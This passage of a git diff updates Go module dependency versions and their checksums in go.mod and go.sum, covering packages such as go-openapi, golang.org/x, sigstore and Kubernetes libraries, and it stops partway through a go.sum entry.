v1.5.1-0.20230307220236-3a3c6141e376 // indirect github.com/go-git/go-billy/v5 v5.9.0 // indirect github.com/go-jose/go-jose/v4 v4.1.4 // indirect github.com/go-logr/logr v1.4.3 // indirect github.com/go-logr/stdr v1.2.2 // indirect - github.com/go-openapi/analysis v0.25.2 // indirect + github.com/go-openapi/analysis v0.25.3 // indirect github.com/go-openapi/errors v0.22.8 // indirect - github.com/go-openapi/jsonpointer v0.23.1 // indirect - github.com/go-openapi/jsonreference v0.21.6 // indirect + github.com/go-openapi/jsonpointer v1.0.0 // indirect + github.com/go-openapi/jsonreference v1.0.0 // indirect github.com/go-openapi/loads v0.24.0 // indirect github.com/go-openapi/runtime v0.32.4 // indirect - github.com/go-openapi/runtime/server-middleware v0.30.0 // indirect + github.com/go-openapi/runtime/server-middleware v0.32.4 // indirect github.com/go-openapi/spec v0.22.6 // indirect github.com/go-openapi/strfmt v0.26.4 // indirect - github.com/go-openapi/swag v0.26.1 // indirect - github.com/go-openapi/swag/cmdutils v0.26.1 // indirect + github.com/go-openapi/swag v0.27.0 // indirect + github.com/go-openapi/swag/cmdutils v0.27.0 // indirect github.com/go-openapi/swag/conv v0.27.0 // indirect - github.com/go-openapi/swag/fileutils v0.26.1 // indirect - github.com/go-openapi/swag/jsonname v0.26.1 // indirect - github.com/go-openapi/swag/jsonutils v0.26.1 // indirect - github.com/go-openapi/swag/loading v0.26.1 // indirect - github.com/go-openapi/swag/mangling v0.26.1 // indirect - github.com/go-openapi/swag/netutils v0.26.1 // indirect - github.com/go-openapi/swag/stringutils v0.26.1 // indirect + github.com/go-openapi/swag/fileutils v0.27.0 // indirect + github.com/go-openapi/swag/jsonname v0.27.0 // indirect + github.com/go-openapi/swag/jsonutils v0.27.0 // indirect + github.com/go-openapi/swag/loading v0.27.0 // indirect + github.com/go-openapi/swag/mangling v0.27.0 // indirect + github.com/go-openapi/swag/netutils v0.27.0 // indirect + github.com/go-openapi/swag/stringutils v0.27.0 // indirect github.com/go-openapi/swag/typeutils v0.27.0 // indirect - github.com/go-openapi/swag/yamlutils v0.26.1 // indirect + github.com/go-openapi/swag/yamlutils v0.27.0 // indirect github.com/go-openapi/validate v0.26.0 // indirect github.com/go-viper/mapstructure/v2 v2.5.0 // indirect github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 // indirect github.com/google/certificate-transparency-go v1.3.3 // indirect - github.com/google/gnostic-models v0.7.0 // indirect + github.com/google/gnostic-models v0.7.1 // indirect github.com/google/go-containerregistry v0.21.7 // indirect github.com/google/uuid v1.6.0 // indirect - github.com/gookit/color v1.6.0 // indirect + github.com/gookit/color v1.6.1 // indirect github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect github.com/in-toto/attestation v1.2.0 // indirect github.com/in-toto/in-toto-golang v0.11.0 // indirect @@ -85,11 +86,11 @@ require ( github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect github.com/jedisct1/go-minisign v0.0.0-20211028175153-1c139d1cc84b // indirect github.com/json-iterator/go v1.1.12 // indirect - github.com/kevinburke/ssh_config v1.2.0 // indirect - github.com/klauspost/cpuid/v2 v2.3.0 // indirect + github.com/kevinburke/ssh_config v1.6.0 // indirect + github.com/klauspost/cpuid/v2 v2.4.0 // indirect github.com/letsencrypt/boulder v0.20260309.0 // indirect github.com/lithammer/fuzzysearch v1.1.8 // indirect - github.com/mattn/go-runewidth v0.0.20 // indirect + github.com/mattn/go-runewidth v0.0.24 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect @@ -98,7 +99,7 @@ require ( github.com/pjbgf/sha1cd v0.6.0 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect - github.com/prometheus/procfs v0.20.1 // indirect + github.com/prometheus/procfs v0.21.1 // indirect github.com/sassoftware/relic v7.2.1+incompatible // indirect github.com/secure-systems-lab/go-securesystemslib v0.11.0 // indirect github.com/sergi/go-diff v1.4.0 // indirect @@ -107,9 +108,8 @@ require ( github.com/sigstore/rekor v1.5.3 // indirect github.com/sigstore/rekor-tiles/v2 v2.3.0 // indirect github.com/sigstore/sigstore v1.10.8 // indirect - github.com/sigstore/timestamp-authority/v2 v2.1.2 // indirect - github.com/skeema/knownhosts v1.3.1 // indirect - github.com/spf13/pflag v1.0.10 // indirect + github.com/sigstore/timestamp-authority/v2 v2.1.3 // indirect + github.com/skeema/knownhosts v1.3.2 // indirect github.com/stretchr/objx v0.5.2 // indirect github.com/theupdateframework/go-tuf v0.7.0 // indirect github.com/theupdateframework/go-tuf/v2 v2.4.2 // indirect @@ -126,25 +126,25 @@ require ( go.opentelemetry.io/otel/trace v1.44.0 // indirect go.yaml.in/yaml/v2 v2.4.4 // indirect go.yaml.in/yaml/v3 v3.0.4 // indirect - golang.org/x/crypto v0.53.0 // indirect - golang.org/x/net v0.56.0 // indirect + golang.org/x/crypto v0.54.0 // indirect + golang.org/x/net v0.57.0 // indirect golang.org/x/oauth2 v0.36.0 // indirect - golang.org/x/sync v0.21.0 // indirect - golang.org/x/sys v0.46.0 // indirect - golang.org/x/text v0.38.0 // indirect + golang.org/x/sync v0.22.0 // indirect + golang.org/x/sys v0.47.0 // indirect + golang.org/x/text v0.40.0 // indirect golang.org/x/time v0.15.0 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20260523011958-0a33c5d7ca68 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20260706201446-f0a921348800 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20260706201446-f0a921348800 // indirect google.golang.org/grpc v1.82.0 // indirect google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af // indirect gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/warnings.v0 v0.1.2 // indirect - howett.net/plist v0.0.0-20181124034731-591f970eefbb // indirect + howett.net/plist v1.0.1 // indirect k8s.io/klog/v2 v2.140.0 // indirect - k8s.io/kube-openapi v0.0.0-20260317180543-43fb72c5454a // indirect - k8s.io/utils v0.0.0-20260210185600-b8788abfbbc2 // indirect + k8s.io/kube-openapi v0.0.0-20260706235625-cdb1db5517a0 // indirect + k8s.io/utils v0.0.0-20260707023825-cf1189d6abe3 // indirect sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect sigs.k8s.io/randfill v1.0.0 // indirect - sigs.k8s.io/structured-merge-diff/v6 v6.3.2 // indirect + sigs.k8s.io/structured-merge-diff/v6 v6.4.2 // indirect ) diff --git a/go.sum b/go.sum index 83e6161b..d7c3dd85 100644 --- a/go.sum +++ b/go.sum @@ -2,8 +2,8 @@ atomicgo.dev/assert v0.0.2 h1:FiKeMiZSgRrZsPo9qn/7vmr7mCsh5SZyXY4YGYiYwrg= atomicgo.dev/assert v0.0.2/go.mod h1:ut4NcI3QDdJtlmAxQULOmA13Gz6e2DWbSAS8RUOmNYQ= atomicgo.dev/cursor v0.2.0 h1:H6XN5alUJ52FZZUkI7AlJbUc1aW38GWZalpYRPpoPOw= atomicgo.dev/cursor v0.2.0/go.mod h1:Lr4ZJB3U7DfPPOkbH7/6TOtJ4vFGHlgj1nc+n900IpU= -atomicgo.dev/keyboard v0.2.9 h1:tOsIid3nlPLZ3lwgG8KZMp/SFmr7P0ssEN5JUsm78K8= -atomicgo.dev/keyboard v0.2.9/go.mod h1:BC4w9g00XkxH/f1HXhW2sXmJFOCWbKn9xrOunSFtExQ= +atomicgo.dev/keyboard v0.2.10 h1:v7mvUKUZLHIggxULEIuWbT+WkkyQSgdbA201EziAhHU= +atomicgo.dev/keyboard v0.2.10/go.mod h1:ap/z5ilnhLqYq852m6kPeTq5Z6aESGWu5mzRpJlC6aI= atomicgo.dev/schedule v0.1.0 h1:nTthAbhZS5YZmgYbb2+DH8uQIZcTlIrd4eYr3UQxEjs= atomicgo.dev/schedule v0.1.0/go.mod h1:xeUa3oAkiuHYh8bKiQBRojqAMq3PXXbJujjb0hw8pEU= cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE= @@ -20,8 +20,8 @@ cloud.google.com/go/kms v1.31.0 h1:LS8N92OxFDgOLg5NCo3OmbvjtQAIVT5gUHVLKIDHaFE= cloud.google.com/go/kms v1.31.0/go.mod h1:YIyXZym11R5uovJJt4oN5eUL3oPmirF3yKeIh6QAf4U= cloud.google.com/go/longrunning v1.0.0 h1:lwzWEYD8+NkYV7dhexOz6kmlvajZA70+bW/xMhRVVdY= cloud.google.com/go/longrunning v1.0.0/go.mod h1:8nqFBPOO1U/XkhWl0I19AMZEphrHi73VNABIpKYaTwM= -dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= -dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= +dario.cat/mergo v1.0.2 h1:85+piFYR1tMbRrLcDwR18y4UKJ3aH1Tbzi24VRW1TK8= +dario.cat/mergo v1.0.2/go.mod h1:E/hbnu0NxMFBjpMIE34DRGLWqDy0g5FuKDhCb31ngxA= filippo.io/edwards25519 v1.2.0 h1:crnVqOiS4jqYleHd9vaKZ+HKtHfllngJIiOpNpoJsjo= filippo.io/edwards25519 v1.2.0/go.mod h1:xzAOLCNug/yB62zG1bQ8uziwrIqIuxhctzJT18Q77mc= filippo.io/mldsa v0.0.0-20260215214346-43d0283efc3e h1:VsUbObBMxXlc23Eb9VeeJYE4jvTs87qa5RqSN2U5FJU= @@ -40,20 +40,13 @@ github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 h1:nCYfg github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0/go.mod h1:ucUjca2JtSZboY8IoUqyQyuuXvwbMBVwFOm0vdQPNhA= github.com/AzureAD/microsoft-authentication-library-for-go v1.7.0 h1:4iB+IesclUXdP0ICgAabvq2FYLXrJWKx1fJQ+GxSo3Y= github.com/AzureAD/microsoft-authentication-library-for-go v1.7.0/go.mod h1:HKpQxkWaGLJ+D/5H8QRpyQXA1eKjxkFlOMwck5+33Jk= -github.com/MarvinJWendt/testza v0.1.0/go.mod h1:7AxNvlfeHP7Z/hDQ5JtE3OKYT3XFUeLCDE2DQninSqs= -github.com/MarvinJWendt/testza v0.2.1/go.mod h1:God7bhG8n6uQxwdScay+gjm9/LnO4D3kkcZX4hv9Rp8= -github.com/MarvinJWendt/testza v0.2.8/go.mod h1:nwIcjmr0Zz+Rcwfh3/4UhBp7ePKVhuBExvZqnKYWlII= -github.com/MarvinJWendt/testza v0.2.10/go.mod h1:pd+VWsoGUiFtq+hRKSU1Bktnn+DMCSrDrXDpX2bG66k= -github.com/MarvinJWendt/testza v0.2.12/go.mod h1:JOIegYyV7rX+7VZ9r77L/eH6CfJHHzXjB69adAhzZkI= -github.com/MarvinJWendt/testza v0.3.0/go.mod h1:eFcL4I0idjtIx8P9C6KkAuLgATNKpX4/2oUqKc6bF2c= -github.com/MarvinJWendt/testza v0.4.2/go.mod h1:mSdhXiKH8sg/gQehJ63bINcCKp7RtYewEjXsvsVUPbE= github.com/MarvinJWendt/testza v0.5.2 h1:53KDo64C1z/h/d/stCYCPY69bt/OSwjq5KpFNwi+zB4= github.com/MarvinJWendt/testza v0.5.2/go.mod h1:xu53QFE5sCdjtMCKk8YMQ2MnymimEctc4n3EjyIYvEY= github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= -github.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw= -github.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE= +github.com/ProtonMail/go-crypto v1.4.1 h1:9RfcZHqEQUvP8RzecWEUafnZVtEvrBVL9BiF67IQOfM= +github.com/ProtonMail/go-crypto v1.4.1/go.mod h1:e1OaTyu5SYVrO9gKOEhTc+5UcXtTUa+P3uLudwcgPqo= github.com/alessio/shellescape v1.4.1 h1:V7yhSDDn8LP4lc4jS8pFkt0zCnzVJlG5JXy9BVKJUX0= github.com/alessio/shellescape v1.4.1/go.mod h1:PZAiSCk0LJaZkiCSkPv8qIobYglO3FPpyFjDCtHLS30= github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= @@ -62,7 +55,6 @@ github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPd github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= -github.com/atomicgo/cursor v0.0.1/go.mod h1:cBON2QmmrysudxNBFthvMtN32r3jxVRIvzkUiF/RuIk= github.com/aws/aws-sdk-go-v2 v1.41.9 h1:/rYeyO2+HrMztAmxAq9++XJtFMqSIpSsNA0yDGALYq4= github.com/aws/aws-sdk-go-v2 v1.41.9/go.mod h1:+HsoOEX80qAVUitj1A2DhCNTjmb3edVyuDypb6LNEeo= github.com/aws/aws-sdk-go-v2/config v1.32.20 h1:8VMDnWc/kEzxsI/1ngGM9mG81a8IGmIHD8KLcYGwagc= @@ -114,11 +106,10 @@ github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04= github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8= github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM= -github.com/cloudflare/circl v1.6.3 h1:9GPOhQGF9MCYUeXyMYlqTR6a5gTrgR/fBLXvUgtVcg8= -github.com/cloudflare/circl v1.6.3/go.mod h1:2eXP6Qfat4O/Yhh8BznvKnJ+uzEoTQ6jVKJRn81BiS4= +github.com/cloudflare/circl v1.6.4 h1:pOXuDTCEYyzydgUpQ0CQz3LsinKjiSk6nNP5Lt5K64U= +github.com/cloudflare/circl v1.6.4/go.mod h1:YxarevkLlbaHuWsxG6vmYNWBEsSp4pnp7j+4VljMavY= github.com/codahale/rfc6979 v0.0.0-20141003034818-6a90f24967eb h1:EDmT6Q9Zs+SbUoc7Ik9EfrFqcylYqgPZ9ANSbTAntnE= github.com/codahale/rfc6979 v0.0.0-20141003034818-6a90f24967eb/go.mod h1:ZjrT6AXHbDs86ZSdt/osfBi5qfexBrKUdONk989Wnk4= -github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U= github.com/containerd/console v1.0.5 h1:R0ymNeydRqH2DmakFNdmjR2k0t7UPuiOV/N/27/qqsc= github.com/containerd/console v1.0.5/go.mod h1:YynlIjWYF8myEu6sdkwKIvGQq+cOckRm6So2avqoYAk= github.com/coreos/go-oidc/v3 v3.17.0 h1:hWBGaQfbi0iVviX4ibC7bk8OKT5qNr4klBaCHVNvehc= @@ -126,8 +117,8 @@ github.com/coreos/go-oidc/v3 v3.17.0/go.mod h1:wqPbKFrVnE90vty060SB40FCJ8fTHTxSw github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= github.com/cyberphone/json-canonicalization v0.0.0-20241213102144-19d51d7fe467 h1:uX1JmpONuD549D73r6cgnxyUu18Zb7yHAy5AYU0Pm4Q= github.com/cyberphone/json-canonicalization v0.0.0-20241213102144-19d51d7fe467/go.mod h1:uzvlm1mxhHkdfqitSA92i7Se+S9ksOn3a3qmv/kyOCw= -github.com/cyphar/filepath-securejoin v0.6.1 h1:5CeZ1jPXEiYt3+Z6zqprSAgSWiggmpVyciv8syjIpVE= -github.com/cyphar/filepath-securejoin v0.6.1/go.mod h1:A8hd4EnAeyujCJRrICiOWqjS1AX0a9kM5XL+NwKoYSc= +github.com/cyphar/filepath-securejoin v0.7.0 h1:s0Y3ITPy6sQn5xt54DuYvTF8hu134ooYLUb58DX/HjE= +github.com/cyphar/filepath-securejoin v0.7.0/go.mod h1:ymLGms/u3BYaviIiuKFnUx8EkQEZeK6cInNoAPJA3o4= github.com/danieljoos/wincred v1.2.0 h1:ozqKHaLK0W/ii4KVbbvluM91W2H3Sh0BncbUNPS7jLE= github.com/danieljoos/wincred v1.2.0/go.mod h1:FzQLLMKBFdvu+osBrnFODiv32YGwCfx0SkRa/eYHgec= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -135,10 +126,10 @@ github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSs github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/digitorus/pkcs7 v0.0.0-20230713084857-e76b763bdc49/go.mod h1:SKVExuS+vpu2l9IoOc0RwqE7NYnb0JlcFHFnEJkVDzc= -github.com/digitorus/pkcs7 v0.0.0-20230818184609-3a137a874352 h1:ge14PCmCvPjpMQMIAH7uKg0lrtNSOdpYsRXlwk3QbaE= -github.com/digitorus/pkcs7 v0.0.0-20230818184609-3a137a874352/go.mod h1:SKVExuS+vpu2l9IoOc0RwqE7NYnb0JlcFHFnEJkVDzc= -github.com/digitorus/timestamp v0.0.0-20231217203849-220c5c2851b7 h1:lxmTCgmHE1GUYL7P0MlNa00M67axePTq+9nBSGddR8I= -github.com/digitorus/timestamp v0.0.0-20231217203849-220c5c2851b7/go.mod h1:GvWntX9qiTlOud0WkQ6ewFm0LPy5JUR1Xo0Ngbd1w6Y= +github.com/digitorus/pkcs7 v0.0.0-20250730155240-ffadbf3f398c h1:g349iS+CtAvba7i0Ee9EP1TlTZ9w+UncBY6HSmsFZa0= +github.com/digitorus/pkcs7 v0.0.0-20250730155240-ffadbf3f398c/go.mod h1:mCGGmWkOQvEuLdIRfPIpXViBfpWto4AhwtJlAvo62SQ= +github.com/digitorus/timestamp v0.0.0-20250524132541-c45532741eea h1:ALRwvjsSP53QmnN3Bcj0NpR8SsFLnskny/EIMebAk1c= +github.com/digitorus/timestamp v0.0.0-20250524132541-c45532741eea/go.mod h1:GvWntX9qiTlOud0WkQ6ewFm0LPy5JUR1Xo0Ngbd1w6Y= github.com/elastic/go-sysinfo v1.15.5 h1:fCVUDmjHgljLUQCygherMnsRRJ9AkuAQIywTL7dEH28= github.com/elastic/go-sysinfo v1.15.5/go.mod h1:ZBVXmqS368dOn/jvijV/zHLfakWTYHBZPk3G244lHrU= github.com/elastic/go-windows v1.0.2 h1:yoLLsAsV5cfg9FLhZ9EXZ2n2sQFKeDYrHenkcivY4vI= @@ -151,8 +142,8 @@ github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= -github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= -github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= +github.com/fxamacker/cbor/v2 v2.9.2 h1:X4Ksno9+x3cz0TZv69ec1hxP/+tymuR8PXQJyDwfh78= +github.com/fxamacker/cbor/v2 v2.9.2/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= github.com/gliderlabs/ssh v0.3.8 h1:a4YXD1V7xMF9g5nTkdfnja3Sxy1PVDCj1Zg4Wb8vY6c= github.com/gliderlabs/ssh v0.3.8/go.mod h1:xYoytBv1sV0aL3CavoDuJIQNURXkkfPA/wxQ1pL1fAU= github.com/go-chi/chi/v5 v5.3.0 h1:halUjDxhshgXHMrao5bB8eNBXo/rnzwr8m5m36glehM= @@ -172,52 +163,52 @@ github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= -github.com/go-openapi/analysis v0.25.2 h1:I0vy4n3alz+DHTiN1PRhCb7QZxkK6g5YmswZKv2TKuw= -github.com/go-openapi/analysis v0.25.2/go.mod h1:Uhs1t/2XR10EnwONYILGEzw8gcfGIG5Xk5K2AxnhqDo= +github.com/go-openapi/analysis v0.25.3 h1:4zlcg85pd2xq3sEgjW887n1IpwCpCqTmqeT6dP9OxDw= +github.com/go-openapi/analysis v0.25.3/go.mod h1:6PEmUIra9/rn6SPstzbrMkhFAsMB2qm7g6E+4DRFyCU= github.com/go-openapi/errors v0.22.8 h1:oP7sW7TWc3wFFjrzzj0nI83H2qMBkNjNfSd+XRejk/I= github.com/go-openapi/errors v0.22.8/go.mod h1:BuUoHcYrU6E7V9gfj1I5wLQqgtIHnup/alXZ8KdgQ0w= -github.com/go-openapi/jsonpointer v0.23.1 h1:1HBACs7XIwR2RcmItfdSFlALhGbe6S92p0ry4d1GWg4= -github.com/go-openapi/jsonpointer v0.23.1/go.mod h1:iWRmZTrGn7XwYhtPt/fvdSFj1OfNBngqRT2UG3BxSqY= -github.com/go-openapi/jsonreference v0.21.6 h1:NZ5nGfnaM1n4I43Xjm1e5/M2GjOwQwndQz22uhxwD+Y= -github.com/go-openapi/jsonreference v0.21.6/go.mod h1:xzbgtQ3ZbWxvET3AxdzCJlJt6vkovbf+IfSPJjD0tUY= +github.com/go-openapi/jsonpointer v1.0.0 h1:kR9tHqY0CtZaOPVFm622dPVNhrvYpwr4uCxgL3h1H8s= +github.com/go-openapi/jsonpointer v1.0.0/go.mod h1:Z3rw7dWu1p9IgitXCFamSlA5lmDiklEB6vkaxcNZW5Y= +github.com/go-openapi/jsonreference v1.0.0 h1:jlmTr6torcd1YgDQvSfNmRtKzYDO4FGBkrAdlAVWnpY= +github.com/go-openapi/jsonreference v1.0.0/go.mod h1:jtwdyGbJk0Xhe5Y+rwtglQP6Sb1WZST4rT32LWB+sv0= github.com/go-openapi/loads v0.24.0 h1:4LLorXRPTzIN9V6ngMUZbAscsBOUBk3Oa8cClu/bFrQ= github.com/go-openapi/loads v0.24.0/go.mod h1:xQMgX+hw5xRAhGrcDXxeMw78IFqUpIzhleu3HqPhyF4= github.com/go-openapi/runtime v0.32.4 h1:8ElGj/3goG0itt0nBPP6Cm57ehcYyuHoI3O20nxgvkw= github.com/go-openapi/runtime v0.32.4/go.mod h1:Bz6keOZw1NX4T6f+m42OoT1MBPDt6Re13dbccHyGH/4= -github.com/go-openapi/runtime/server-middleware v0.30.0 h1:8rPoJ/xv7JL8BsovaqboKETlpWBArVh8n+0L/GyePog= -github.com/go-openapi/runtime/server-middleware v0.30.0/go.mod h1:OYNT/TxNvB/VK5oe4htM2jDTwlEXuejVJmu0DVZfAMs= +github.com/go-openapi/runtime/server-middleware v0.32.4 h1:AU6eLMq9CXwh8f6kC1pivtkz+7lfo3TmakMBbUisKME= +github.com/go-openapi/runtime/server-middleware v0.32.4/go.mod h1:fYPep4GdTwg/XqZUjR40uIM/8C12Ba5M+MrGCiwpTHo= github.com/go-openapi/spec v0.22.6 h1:Tyy1pLaNCM8GBCFLoGYLonjJi6zykqyLCjXLc19ZPic= github.com/go-openapi/spec v0.22.6/go.mod h1:HZvTHat+iH0PALQRWhrqIHtU/PEqxqd89fu0MxGlMeM= github.com/go-openapi/strfmt v0.26.4 h1:yI6IAEfcWow459BD5UzFY430KUwXZwBHrYusPFkhWlc= github.com/go-openapi/strfmt v0.26.4/go.mod h1:hNJi6nb5ETD6i7A1yRo03M9S6ZoTPPoWff1iUexmfUc= -github.com/go-openapi/swag v0.26.1 h1:l5sVEyVpwj+DDYeZyo7wQI/Ebn/mKYIyGB/pFwAfGoQ= -github.com/go-openapi/swag v0.26.1/go.mod h1:yNY38BbIVthxbkDtq1UHBCGasBqjakW3lCR6ANzdBEw= -github.com/go-openapi/swag/cmdutils v0.26.1 h1:f2iE1ijYaJ3nuu5PaEMx3zpEhzhZFgivCJObWEObLIQ= -github.com/go-openapi/swag/cmdutils v0.26.1/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= +github.com/go-openapi/swag v0.27.0 h1:8ecSuZlh4NXc3GsmAOqECIYqDTApCWaMe3gO4gjJNEE= +github.com/go-openapi/swag v0.27.0/go.mod h1:Kkgz9Ht0+ul9/aVdFmc9xSyPzUwf/aFF5KiFPBXfSY0= +github.com/go-openapi/swag/cmdutils v0.27.0 h1:aIKiqhB29AaP+7xm8/CPg3uOpeHx2SUp6TvMpu/a31Y= +github.com/go-openapi/swag/cmdutils v0.27.0/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= github.com/go-openapi/swag/conv v0.27.0 h1:EKOH4feXrvdo8DbSsXSAqRT8fz1epEnS5O2IfXUOzE8= github.com/go-openapi/swag/conv v0.27.0/go.mod h1:pfiv0uKQTbaGApk8Zs/lZV3uSjmSpa2FO1y183YngN8= -github.com/go-openapi/swag/fileutils v0.26.1 h1:K1XCM2CGhfNsc6YDt6v7Q5+1e59rftYWdcu/isZhvFw= -github.com/go-openapi/swag/fileutils v0.26.1/go.mod h1:mYUgxQAKX4ShS3qvvySx+/9yrlUnDhjiD1CalaQl8lQ= -github.com/go-openapi/swag/jsonname v0.26.1 h1:VReupaV6WxlAsCn0e4DUfgV6bPmINnPpyJDLqSfNPcE= -github.com/go-openapi/swag/jsonname v0.26.1/go.mod h1:OvdW6BoWoj33pTfi7x9vFrgmT+fk7aw0BRwvCE0YOuc= -github.com/go-openapi/swag/jsonutils v0.26.1 h1:2hdBfFkHg+7Wrz2VsCbeyR6hzkRDs7AztnMR2u84yOY= -github.com/go-openapi/swag/jsonutils v0.26.1/go.mod h1:U+RMJH3wa+6BRiphuRtIyI8fW9HPFqFQ4sHk2oRx0UQ= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.1 h1:1CD7NiLLb/TXl3tOnFYU4b+mNfb5rtgHkaA+q7RMYYQ= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.1/go.mod h1:ZWafc8nMdYzTE3uYY6W86f0n46+IF0g4uUyRhJw/kXc= -github.com/go-openapi/swag/loading v0.26.1 h1:E9K4wqXeROlhjFQ13K9zMz6ojFGXIggGe+ad1odrK9w= -github.com/go-openapi/swag/loading v0.26.1/go.mod h1:3qvRIlWzWdq1HvmldwmuJ2ohpcAryN6xVt2OTKd0/7E= -github.com/go-openapi/swag/mangling v0.26.1 h1:gpYI4WuPKFJJVjV5cDLGlDVJhFIxYjQc7yN5eEb4CqM= -github.com/go-openapi/swag/mangling v0.26.1/go.mod h1:POETDH01hqAdASXfw7ISEd9bCOE6xBHOt8NHmGZRmYM= -github.com/go-openapi/swag/netutils v0.26.1 h1:BNctoc39WTAUMxyAs355fExOPzMZtPbZ0ZZ1Am2FR5M= -github.com/go-openapi/swag/netutils v0.26.1/go.mod h1:y02vByhZhQPAVwOX+0KipXFZ/hUbk6G/Enhf5rGaOkQ= -github.com/go-openapi/swag/stringutils v0.26.1 h1:f88uYyTso7TnHrKM/bUBsQ5e2wKf37cpgo6pvbzd9yU= -github.com/go-openapi/swag/stringutils v0.26.1/go.mod h1:Sc6d3bU8fgk5AyZR8/8jEQ+Is/Ald+TD/IIggPN8UJk= +github.com/go-openapi/swag/fileutils v0.27.0 